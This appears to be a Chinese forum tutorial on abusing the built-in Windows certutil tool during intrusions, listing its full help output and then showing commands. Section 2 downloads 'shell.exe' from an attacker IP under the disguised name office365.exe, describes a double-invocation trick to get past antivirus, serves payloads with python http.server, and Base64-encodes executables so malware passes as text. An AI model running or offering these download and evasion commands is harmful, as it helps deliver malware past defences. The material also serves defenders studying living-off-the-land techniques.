找回密码
 立即注册
首页 业界区 安全 certutil工具的使用介绍

certutil工具的使用介绍

埤兆 2025-6-7 09:30:01
一、Certutil 介绍

Windows有一个名为CertUtil的内置程序,可用于在Windows中管理证书。使用此程序可以在Windows中安装,备份,删除,管理和执行与证书和证书存储相关的各种功能。
CertUtil的一个特性是能够从远程URL下载证书或任何其他文件,因为certutil是windows自带的exe。
使用语法 :
"certutil.exe -urlcache -split -f [URL] output.file"
-f
覆盖现有文件。
有值的命令行选项。后面跟要下载的文件 url。
-split
保存到文件。
无值的命令行选项。加了的话就可以下载到当前路径,不加就下载到了默认路径。
-URLCache
显示或删除URL缓存条目。
无值的命令行选项。
但是此合法Windows服务现已被广泛滥用于恶意用途。
渗透中主要利用其 下载、编码、解码、替代数据流 等功能。
这里我首先在命令行用certutil -?查看一下certutil所有的参数,接下来就总结一下最常用的几个关于certutil在内网渗透中的应用。
点击查看代码
  1. C:\Users\123456\Desktop>certutil -?
  2. 动词:
  3.   -dump             -- 转储配置信息或文件
  4.   -dumpPFX          -- 转储 PFX 结构
  5.   -asn              -- 分析 ASN.1 文件
  6.   -decodehex        -- 解码十六进制编码的文件
  7.   -decode           -- 解码 Base64 编码的文件
  8.   -encode           -- 将文件编码为 Base64
  9.   -deny             -- 拒绝挂起的申请
  10.   -resubmit         -- 重新提交挂起的申请
  11.   -setattributes    -- 为挂起申请设置属性
  12.   -setextension     -- 为挂起申请设置扩展
  13.   -revoke           -- 吊销证书
  14.   -isvalid          -- 显示当前证书部署
  15.   -getconfig        -- 获取默认配置字符串
  16.   -ping             -- Ping Active Directory 证书服务申请接口
  17.   -pingadmin        -- Ping Active Directory 证书服务管理接口
  18.   -CAInfo           -- 显示 CA 信息
  19.   -ca.cert          -- 检索 CA 的证书
  20.   -ca.chain         -- 检索 CA 的证书链
  21.   -GetCRL           -- 获取 CRL
  22.   -CRL              -- 发布新的 CRL [或仅增量 CRL]
  23.   -shutdown         -- 关闭 Active Directory 证书服务
  24.   -installCert      -- 安装证书颁发机构证书
  25.   -renewCert        -- 续订证书颁发机构证书
  26.   -schema           -- 转储证书架构
  27.   -view             -- 转储证书视图
  28.   -db               -- 转储原始数据库
  29.   -deleterow        -- 删除服务器数据库行
  30.   -backup           -- 备份 Active Directory 证书服务
  31.   -backupDB         -- 备份 Active Directory 证书服务数据库
  32.   -backupKey        -- 备份 Active Directory 证书服务证书和私钥
  33.   -restore          -- 还原 Active Directory 证书服务
  34.   -restoreDB        -- 还原 Active Directory 证书服务数据库
  35.   -restoreKey       -- 还原 Active Directory 证书服务证书和私钥
  36.   -importPFX        -- 导入证书和私钥
  37.   -dynamicfilelist  -- 显示动态文件列表
  38.   -databaselocations -- 显示数据库位置
  39.   -hashfile         -- 通过文件生成并显示加密哈希
  40.   -store            -- 转储证书存储
  41.   -enumstore        -- 枚举证书存储
  42.   -addstore         -- 将证书添加到存储
  43.   -delstore         -- 从存储删除证书
  44.   -verifystore      -- 验证存储中的证书
  45.   -repairstore      -- 修复密钥关联,或者更新证书属性或密钥安全描述符
  46.   -viewstore        -- 转储证书存储
  47.   -viewdelstore     -- 从存储删除证书
  48.   -UI               -- 调用 CryptUI
  49.   -attest           -- 验证密钥证明请求
  50.   -dsPublish        -- 将证书或 CRL 发布到 Active Directory
  51.   -ADTemplate       -- 显示 AD 模板
  52.   -Template         -- 显示注册策略模板
  53.   -TemplateCAs      -- 显示模板的 CA
  54.   -CATemplates      -- 显示 CA 的模板
  55.   -SetCASites       -- 管理 CA 的站点名称
  56.   -enrollmentServerURL -- 显示、添加或删除与 CA 关联的注册服务器 URL
  57.   -ADCA             -- 显示 AD CA
  58.   -CA               -- 显示注册策略 CA
  59.   -Policy           -- 显示注册策略
  60.   -PolicyCache      -- 显示或删除注册策略缓存项目
  61.   -CredStore        -- 显示、添加或删除凭据存储项目
  62.   -InstallDefaultTemplates -- 安装默认的证书模板
  63.   -URLCache         -- 显示或删除 URL 缓存项目
  64.   -pulse            -- 以脉冲方式执行自动注册事件或 NGC 任务
  65.   -MachineInfo      -- 显示 Active Directory 计算机对象信息
  66.   -DCInfo           -- 显示域控制器信息
  67.   -EntInfo          -- 显示企业信息
  68.   -TCAInfo          -- 显示 CA 信息
  69.   -SCInfo           -- 显示智能卡信息
  70.   -SCRoots          -- 管理智能卡根证书
  71.   -DeleteHelloContainer -- 删除 Hello 登录容器。
  72.      ** 在使用此选项后, 用户需要注销才能完成。**
  73.   -verifykeys       -- 验证公/私钥集
  74.   -verify           -- 验证证书,CRL 或链
  75.   -verifyCTL        -- 验证 AuthRoot 或不允许的证书 CTL
  76.   -syncWithWU       -- 与 Windows 更新同步
  77.   -generateSSTFromWU -- 通过 Windows 更新生成 SST
  78.   -generatePinRulesCTL -- 生成捆绑规则 CTL
  79.   -downloadOcsp     -- 下载 OCSP 响应并写入目录
  80.   -generateHpkpHeader -- 使用指定文件或目录中的证书生成 HPKP 头
  81.   -flushCache       -- 刷新选定进程(例如 lsass.exe)中的指定缓存
  82.   -addEccCurve      -- 添加 ECC 曲线
  83.   -deleteEccCurve   -- 删除 ECC 曲线
  84.   -displayEccCurve  -- 显示 ECC 曲线
  85.   -sign             -- 重新签名 CRL 或证书
  86.   -vroot            -- 创建/删除 Web 虚拟根和文件共享
  87.   -vocsproot        -- 创建/删除 OCSP Web Proxy 的 Web 虚拟根
  88.   -addEnrollmentServer -- 添加注册服务器应用程序
  89.   -deleteEnrollmentServer -- 删除注册服务器应用程序
  90.   -addPolicyServer  -- 添加策略服务器应用程序
  91.   -deletePolicyServer -- 删除策略服务器应用程序
  92.   -oid              -- 显示 ObjectId 或设置显示名称
  93.   -error            -- 显示错误代码消息文本
  94.   -getreg           -- 显示注册表值
  95.   -setreg           -- 设置注册表值
  96.   -delreg           -- 删除注册表值
  97.   -ImportKMS        -- 为密钥存档导入用户密钥和证书到服务器数据库
  98.   -ImportCert       -- 将证书文件导入数据库
  99.   -GetKey           -- 检索存档的私钥恢复 Blob,生成恢复脚本 或恢复存档的密钥
  100.   -RecoverKey       -- 恢复存档的私钥
  101.   -MergePFX         -- 合并 PFX 文件
  102.   -ConvertEPF       -- 将 PFX 文件转换为 EPF 文件
  103.   -add-chain        -- (-AddChain) 添加证书链
  104.   -add-pre-chain    -- (-AddPrechain) 添加预植证书链
  105.   -get-sth          -- (-GetSTH) 获取签名树头
  106.   -get-sth-consistency -- (-GetSTHConsistency) 获取签名树头更改
  107.   -get-proof-by-hash -- (-GetProofByHash) 获取哈希证明
  108.   -get-entries      -- (-GetEntries) 获取项
  109.   -get-roots        -- (-GetRoots) 获取根
  110.   -get-entry-and-proof -- (-GetEntryAndProof) 获取项和证明
  111.   -VerifyCT         -- 验证证书 SCT
  112.   -?                -- 显示该用法消息
  113. CertUtil -?              -- 显示动词列表(命名列表)
  114. CertUtil -dump -?        -- 显示 "dump" 动词的帮助文本
  115. CertUtil -v -?           -- 显示所有动词的所有帮助文本
  116. CertUtil: -? 命令成功完成。
复制代码
二、常用功能介绍

2.1 下载远程文件

在 cmd 中将文件从网址上下载下来,保存为123.txt
C:\Users\12345\Desktop>certutil.exe -urlcache -split -f "https://hackers.home/content.txt" 123.txt
如果超时没有操作的话就会显示拒绝访问
这里有两种方法对杀软进行certutil下载绕过,本质都是执行两次certutil
第一种方法是先执行一个单独的certutil,然后再执行下载exe的命令,可以看到这里已经能够成功下载
certutil & certutil -urlcache -split -f http://192.168.206.130/shell.exe office365.exe  certutil | certutil -urlcache -split -f http://192.168.206.130/shell.exe office365.exe
2.2 将本地程序搭建为http服务器

将本地可执行程序,搭建为一个http服务器,端口为8000,并执行该服务
http://192.168.206.130:8000
  1. C:\Users\12345\Desktop>123.exe -python -m http.server 8000
  2. C:\Users\12345\Desktop>python -m http.server 8000
  3. certutil -urlcache -split -f http://192.168.206.130:8000/123.exe
复制代码
2.3 使用CertUtil + Base64来绕过安全软件

Certutil 包含一个编码参数(编码),这有助于在 Base64 中编码文件的内容。可以使用 certutil 对可执行文件进行编码,然后传输编码后的数据,在接收机上对其进行解码。
常用与sql注入,对任意文件进行Base64编码,使恶意代码样本看起来像是无害的文本文件,然后使用CertUtil.exe下载后对其进行解码。下载了文本文件使用“Certutil.exe -decode”命令将Base64编码文件解码为可执行文件。
  1. 将123.exe编码为123.txt
  2. C:\Users\12345\Desktop>certutil.exe -encode 123.exe 123.txt
  3. 将123.txt解码为123.exe
  4. C:\Users\12345\Desktop>certutil.exe -decode 123.txt 123.exe
复制代码
更多详解参考--->
https://mrwq.github.io/aggregate-paper/butian/certutil详解/

来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
您需要登录后才可以回帖 登录 | 立即注册